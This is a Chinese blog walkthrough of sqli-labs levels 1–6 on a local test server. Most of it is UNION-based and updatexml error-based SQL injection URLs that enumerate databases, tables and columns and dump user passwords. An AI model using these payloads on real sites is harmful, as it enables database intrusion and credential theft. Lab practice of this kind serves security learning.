SQL注入漏洞复现

目录

Less_1

Less_2

 Less_3

 Less_4

Less_5

 Less_6


Less_1

查看所有数据库:

http://127.0.0.1:8081/Less_1/?id = -1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

查看表:

 http://127.0.0.1:8081/Less_1/?id = -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

 查看列名:

http://127.0.0.1:8081/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name ='users'--+

 已知库名、表名、列名,现在可以直接查找了

http://127.0.0.1:8081/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+

Less_2

第二关和第一关差不多,只是闭合点没有闭合

http://127.0.0.1:8081/Less-2/?id=-1 union select 1,2,group_concat(0x7e,username,password)from security.users--+

 Less_3

http://127.0.0.1:8081/Less-3/?id = -1'--+

 可以看到,这里还是报错,说明这里可能不用 ' 闭合,我们尝试用 )进行闭合

http://127.0.0.1:8081/Less-3/?id = -1')--+

 可以看到,成功找到注入点,接下来就和第一关没什么区别了

http://127.0.0.1:8081/Less-3/?id=-1') union select 1,2,group_concat(0x7e,username,password)from security.users--+

 Less_4

http://127.0.0.1:8081/Less-3/?id = 1' order by 4--+

 这里看到order by 4 依然有回显,说明这里可能不是用 ' 闭合,我们尝试 ) ,但是依然有回显

经过尝试,最后发现闭合点为 ")

http://127.0.0.1:8081/Less-3/?id = 1") order by 3--+

 http://127.0.0.1:8081/Less-3/?id = 1") order by 3--+

 可以看到成功找到注入点,那就直接上命令

http://127.0.0.1/Less-4/?id=1") union select 1,2,group_concat(0x7e,username,password)from security.users--+

Less_5
 

 http://127.0.0.1:8081/Less-5/?id = 1

  http://127.0.0.1:8081/Less-5/?id = 1'

可以发现这里注入点在前端显示不出来,所以可以尝试以下报错注入

http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,user(),0x7e),1)--+

可以看到已经显示出来了,然后去拿用户密码

http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

 

但是现在显示不完,所以可以用substr来依次截取就行

http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

 Less_6

第六关和第五关没什么区别,只是闭合用的 " 

直接上命令:

http://127.0.0.1:8081/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

 


 

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值